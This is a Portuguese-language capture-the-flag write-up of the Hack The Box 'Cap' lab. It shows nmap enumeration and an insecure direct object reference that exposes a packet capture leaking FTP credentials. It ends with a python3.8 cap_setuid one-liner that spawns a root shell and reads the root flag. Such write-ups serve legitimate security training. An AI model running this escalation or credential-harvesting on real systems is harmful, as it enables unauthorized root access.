Davi Cruz Logo Davi Cruz
← Voltar para o Blog
8 min de leitura

Walkthrough: HTB Cap

A máquina desta semana será Cap, outra máquina Linux classificada como fácil do Hack The Box, criada por InfoSecJack.

Walkthrough: HTB Cap

Olá pessoal!

A máquina desta semana será Cap, outra máquina Linux classificada como fácil do Hack The Box, criada por InfoSecJack.

Esta máquina foi bem fácil e demonstra o porque de garantir a comunicação segura enquanto acessamos os serviços dentro da organização, maneira utilizada para obter credenciais que, das quais, foi realizado o processo de escalação de privilégios para root.

Enumeração

Como de costume, iniciado com um scan rápido do nmap para ver os serviços publicados nesta máquina.

Terminal window
$ nmap -sC -sV -Pn -oA quick 10.10.10.245
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 20:04 -03
Nmap scan report for 10.10.10.245
Host is up (0.073s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Tue, 10 Aug 2021 23:04:20 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Tue, 10 Aug 2021 23:04:15 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
| <!DOCTYPE html>
| <html class="no-js" lang="en">
| <head>
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Security Dashboard</title>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
| <link rel="stylesheet" href="/static/css/bootstrap.min.css">
| <link rel="stylesheet" href="/static/css/font-awesome.min.css">
| <link rel="stylesheet" href="/static/css/themify-icons.css">
| <link rel="stylesheet" href="/static/css/metisMenu.css">
| <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
| <link rel="stylesheet" href="/static/css/slicknav.min.css">
| <!-- amchar
| HTTPOptions:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Tue, 10 Aug 2021 23:04:15 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Allow: GET, HEAD, OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Connection: close
| Content-Type: text/html
| Content-Length: 196
| <html>
| <head>
| <title>Bad Request</title>
| </head>
| <body>
| <h1><p>Bad Request</p></h1>
| Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
| </body>
|_ </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=8/10%Time=611305F3%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,2FE5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20
SF:Tue,\x2010\x20Aug\x202021\x2023:04:15\x20GMT\r\nConnection:\x20close\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20193
SF:86\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\
SF:n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x2
SF:0<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\
SF:x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\
SF:x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=
SF:1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image
SF:/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<
SF:link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">
SF:\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/fon
SF:t-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=
SF:\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.
SF:css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/c
SF:ss/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOption
SF:s,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Tue,\x2
SF:010\x20Aug\x202021\x2023:04:15\x20GMT\r\nConnection:\x20close\r\nConten
SF:t-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OP
SF:TIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text
SF:/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20
SF:\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\
SF:n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invali
SF:d\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27;RTSP
SF:/1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189
SF:,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20T
SF:ue,\x2010\x20Aug\x202021\x2023:04:20\x20GMT\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\
SF:r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20
SF:Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>
SF:\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20ser
SF:ver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20ch
SF:eck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.56 seconds

80/TCP - Serviço HTTP

Observando a página publicada, podemos ver um painel de monitoramento, com algumas opções à esquerda.

HTB Cap - Security Dashboard

Inspecionando as opções disponíveis no painel da esquerda, a única funcionalidade interessante foi o Security Snapshot (5 Second PCAP + Analysis), que sumariza o resultado da coleta de pacotes de comunicação de rede por 5 segundos. Ao selecionar esta opção somos redirecionados para http://10.10.10.245/capture e logo após 5 segundos, para uma página que exibe os resultados da coleta, neste caso http://10.10.10.245/data/1. Nesta página também podemos baixar o arquivo pcap gerado, que poderia ser analizado via linha de comando ou via Wireshark.

HTB Cap - Security Snapshot

Um ponto interessante é que quando solicitei uma nova captura, a URL de resultado apresentou um número sequencial (http://10.10.10.245/data/2), que significa que poderíamos ver outras capturas geradas por terceiros em outro momento.

Considerando que o contador está incrementando, devemos ter algo registrado na entrada “0”, a qual foi confirmada alterando manualmente o endereço na URL onde os status mostram que houve comunicação dado a quantidade de pacotes, podendo existir algum tipo de dado sensível caso a comunicação não tenha ocorrido de forma segura.

HTB Cap - Security Snapshot "zero"

Analizando o conteúdo utilizando o Wireshark, iniciei por verificar as estatísticas das conversas, conforme abaixo, onde temos 3 streams HTTP (80/TCP) e um para FTP (21/TCP)

HTB Cap - PCAP Statistics

Passando por cada um dos TCP streams, o mais interessante foi o último, em que durante a comunicação FTP podemos ver as credenciais informadas pelo usuário nathan que baixou o arquivo notes.txt, que poderia conter algum tipo de informação relevante para a resoluçào da máquina.

nathan:Buck3tH4TF0RM3!

HTB Cap - PCAP FTP Stream

Acesso inicial e User flag

Utilizando as credenciais observadas, consegui conectar via FTP e surpreendentemente o diretório raiz da conexão era o home directory de nathan, onde pude baixar o arquivo user.txt e ler a flag.

Terminal window
$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:zurc): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 1001 1001 4096 May 27 09:16 .
drwxr-xr-x 3 0 0 4096 May 23 19:17 ..
lrwxrwxrwx 1 0 0 9 May 15 21:40 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Feb 25 2020 .bashrc
drwx------ 2 1001 1001 4096 May 23 19:17 .cache
-rw-r--r-- 1 1001 1001 807 Feb 25 2020 .profile
lrwxrwxrwx 1 0 0 9 May 27 09:16 .viminfo -> /dev/null
-r-------- 1 1001 1001 33 Aug 11 16:25 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (358.0729 kB/s)
ftp> exit
221 Goodbye.
$ cat user.txt
<redacted>

Root flag

Após ler a flag de usuário, fiz uma tentativa com as mesmas credenciais via SSH e tive o sucesso esperado, onde pbtive um acesso interativo na máquina.

A primeira ação sempre executada como sempre é sudo -l mas, para a conta do usuário nathan nada foi retornado. Seguindo com a enumeração manual, decidi checar se tinhamos acesso ao diretório da aplicação, que está localizado no caminho padrão do apache (/var/www/html) e de que se trata de uma aplicação web baseada em Python a partir do arquivo app.py, par ao qual o usuário nathan tem acesso de gravação.

Terminal window
nathan@cap:/var/www/html$ ls -la
total 32
drwxr-xr-x 6 nathan nathan 4096 May 25 07:25 .
drwxr-xr-x 3 root root 4096 May 23 19:17 ..
drwxr-xr-x 2 nathan nathan 4096 May 27 09:10 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25 07:25 app.py
drwxr-xr-x 6 root root 4096 May 23 19:17 static
drwxr-xr-x 2 root root 4096 May 23 19:17 templates
drwxr-xr-x 2 root root 4096 May 31 16:17 upload

Ao avaliar o conteúdo do arquivo, uma das funções executa o arquivo tcpdump, que normalmente requer privilégios de root. Esta permissão poderia ser abusada e utilizá-la para obter um shell reverso a partir de uma conta privilegiada.

Para testar isso, criei uma outra rota no app, com um caminho customizado mas, para ser efetivo, precisaria reiniciar o website em python, o que não é feito automaticamente e não tenho privilégios suficientes para tal tarefa.

Olhando mais a fundo, decidi executar o linpeas.sh e encontrei uma configuração que poderia nos auxiliar com a escalação de privilégio: alguns arquivos contém alguns capabilities não comuns, que foram validados em um segundo momento no GTFOBins:

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Shell capabilities:
0x0000000000000000=
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Dos arquivos listados o mais promissor é o /usr/bin/python3.8 que possui o capability cap_setuid configurado, que, de acordo com o python | GTFOBins poderia nos permitir iniciar uma nova instancia do /bin/sh e, a partir desta, ler o conteúdo do arquivo flag do usuário root.

Terminal window
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id && hostname && cat /root/root.txt
uid=0(root) gid=1001(nathan) groups=1001(nathan)
cap
<redacted>

Espero que tenham gostado!

Vejo vocês no próximo post :smile:

Compartilhar artigo
LinkedIn WhatsApp Telegram

Comentários